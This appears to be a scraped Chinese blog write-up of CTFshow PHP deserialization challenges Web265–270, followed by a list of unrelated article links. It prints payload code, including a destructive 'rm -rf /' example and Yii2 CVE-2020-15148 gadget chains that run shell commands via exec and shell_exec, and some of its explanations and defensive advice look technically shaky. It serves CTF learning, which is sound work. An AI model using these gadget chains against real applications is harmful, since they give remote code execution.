当前位置: 首页 > news >正文

CTFshow-Web入门-反序列化漏洞实战解析(Web265-Web270)

1. 反序列化漏洞基础回顾

在开始实战之前,我们先快速回顾下PHP反序列化的核心概念。简单来说,序列化就是把对象转换成字符串的过程,而反序列化则是把这个字符串重新转回对象。这个过程本身没有问题,但当程序对用户输入的序列化数据没有严格检查时,攻击者就能通过构造恶意序列化数据来执行任意代码。

举个例子,假设有个User类:

class User { public $username; public $isAdmin = false; public function __destruct() { if($this->isAdmin) { system($this->username); } } }

如果程序直接反序列化用户输入的数据,攻击者可以构造这样的payload:

$malicious = new User(); $malicious->username = "rm -rf /"; $malicious->isAdmin = true; echo serialize($malicious);

这个案例展示了为什么反序列化会成为高危漏洞。接下来我们会看到CTFshow中这类漏洞的多种变形。

2. Web265:变量引用绕过

题目分析
这道题要求满足$this->token === $this->password的条件。关键点在于$ctfshow->token会被随机赋值为MD5值,看起来无法预测。

突破点:PHP的引用符号&
通过让password成为token的引用,可以使两者始终保持相同。构造payload时需要注意:

  1. 先创建对象并设置引用关系
  2. 序列化时会保留引用标记(R标识)

完整利用代码

class ctfshowAdmin { public $token; public $password; public function __construct() { $this->token = &$this->password; // 关键引用 } } echo serialize(new ctfshowAdmin());

实战技巧

  • 引用在序列化中显示为R:引用编号
  • 调试时可以先用var_dump检查引用关系
  • 注意PHP版本差异,有些老版本引用处理方式不同

3. Web266:魔术方法与异常处理

题目陷阱
直接传递ctfshow类会被检测并抛出异常,导致__destruct()无法触发。这里考察两个知识点:

  1. 大小写绕过:PHP类名大小写不敏感但正则可能区分
  2. 异常处理机制:抛出异常会中断执行流程

解决方案A(大小写绕过):

class Ctfshow { // 首字母大写 public $username = 'xxxxxx'; public $password = 'xxxxxx'; } echo serialize(new Ctfshow());

解决方案B(强制触发GC回收):

class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; } $arr = [new ctfshow(), null]; // 数组第二个元素为null echo serialize($arr);

原理剖析

  • 当数组元素被置为null时,PHP的垃圾回收机制会立即销毁对象
  • 这种方法在过滤严格时特别有用

4. Web267:Yii框架漏洞利用

环境特征

  • 存在/admin登录页面(弱口令admin/admin)
  • 发现反序列化入口:unserialize(base64_decode($_GET['code']))

漏洞利用: 这是经典的Yii2反序列化漏洞(CVE-2020-15148),攻击链如下:

  1. 构造恶意IndexAction
namespace yii\rest{ class IndexAction { public $checkAccess = 'exec'; public $id = 'cat /f* > my6n.txt'; } }
  1. 利用Generator触发
namespace Faker{ class Generator { protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; } } }
  1. 最终Payload生成
namespace{ echo base64_encode(serialize(new BatchQueryResult())); }

实战要点

  • 注意命名空间必须与Yii框架完全一致
  • 命令执行结果需要重定向到web目录
  • 新版Yii已修复此漏洞,但CTF环境多为旧版

5. Web268-270:补丁绕过技巧

当Web267的POC失效时,我们需要升级攻击方式:

新攻击链构造

namespace yii\rest{ class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; // 动态设置危险函数 $this->id = $param; // 动态设置参数 } } } namespace yii\web{ class DbSession { public function __construct($func, $param) { $this->writeCallback = [ new \yii\rest\IndexAction($func, $param), "run" ]; } } }

Payload生成改进

$exp = new BatchQueryResult('shell_exec', 'cp /f* my6n.txt'); echo base64_encode(serialize($exp));

绕过原理

  1. 使用更灵活的shell_exec代替固定命令
  2. 通过回调函数链实现多层触发
  3. 文件操作使用cp代替cat防止过滤

6. 防御方案与实战建议

虽然我们主要讨论攻击技巧,但作为开发者更需知道如何防御:

安全开发实践

  1. 输入验证:
if (!preg_match('/^[a-zA-Z0-9]+$/', $serialized)) { die('Invalid input'); }
  1. 使用安全的反序列化方法:
// PHP 7.0+ $data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
  1. 关键操作权限分离:
  • 反序列化操作使用低权限账户
  • 敏感操作需要二次认证

CTF实战技巧

  1. 遇到黑名单过滤时:
  • 尝试十六进制/Unicode编码
  • 使用动态函数调用$func($param)
  1. 魔术方法触发顺序:
  • __wakeup在反序列化后立即调用
  • __destruct在对象销毁时调用
  • 新版本PHP中__unserialize优先级更高
  1. 环境探测:
  • 通过phpinfo()确认PHP版本
  • 检查框架版本(如Yii的YII_VERSION

在真实渗透测试中,反序列化漏洞往往需要结合其他漏洞利用。我曾在一个项目中通过反序列化+SSRF组合拿下了内网系统,关键是要保持对对象流动的敏感度。

http://www.cnnetsun.cn/news/1579483.html

相关文章:

  • Namida播放器:如何用Flutter构建跨平台音乐视频一体化解决方案?
  • TI高精度实验室系列(运放):04 运放的增益和GBW
  • STM32CubeIDE下载器二选一:ST-LINK vs DAP,从接线到配置的保姆级对比指南
  • 别再死记硬背了!用这3个真实项目案例,彻底搞懂JavaScript原型链和this指向
  • api-ms-win-core-path-l1-1-0.dll缺失怎么修复?2026年官方安全操作指南
  • 深求·墨鉴(DeepSeek-OCR-2)入门指南:OCR置信度阈值调整与结果过滤技巧
  • Play Integrity Checker:移动应用安全防护的核心解决方案
  • 快速上手霜儿-汉服-造相Z-Turbo:解决部署中的常见报错与问题
  • 别再让PySide6界面卡死了!用QThreadPool+QRunnable实现后台下载文件(附完整代码)
  • 从‘包’到‘标签’:深入浅出图解多示例学习(MIL)的五大经典范式与最新进展
  • 影刀RPA实战-Python变量类型转换在自动化流程中的应用
  • 现代开发者的终局:Zed 编辑器保姆级安装与深度配置手册
  • Qwen3-VL-4B Pro开源可部署:符合等保2.0要求的图文AI审计日志方案
  • 终极指南:如何用BilibiliDown轻松下载B站视频与音频
  • 如何永久保存生活足迹?行影集AI相册的完整数据管理方案
  • Realistic Vision V5.1镜像实战:从零开始生成高质量写实图片
  • 猫抓:网页媒体资源捕获与高效管理工具
  • Redis 8.0 向量库:大模型知识库开发的新选择
  • **标题:发散创新:基于IPFS的去中心化文件存储与智能合约交互实战*
  • Node.js 环境配置与 Pixel Mind Decoder 调用避坑指南
  • AI图像增强开源工具:用Real-ESRGAN-ncnn-vulkan提升图像质量的效率指南
  • 从一张拓扑图开始:手把手教你规划华为云Stack的防火墙与静态路由
  • 开发者速成课:SenseVoice-Small ONNX模型Python调用与WebUI集成教程
  • Catppuccin主题:为开发者打造舒适高效的iTerm2色彩方案
  • 外包seo优化效果如何_是否值得_seo优化外包公司的服务内容都包括什么
  • Java 25并发模型重构实战:用StructuredTaskScope替代CompletableFuture组合的4种高危写法(附JFR火焰图对比)
  • 从B站视频到成功导出:手把手解决Simulink FMU导出中的CMake与Visual Studio配置难题
  • 用汇编语言打造自启动游戏系统:FloppyBird项目技术解析
  • 网盘直链下载助手:八大主流网盘真实下载地址一键获取工具深度解析
  • Qwen3-Reranker-0.6B效果展示:长文档片段(32K)语义匹配能力实测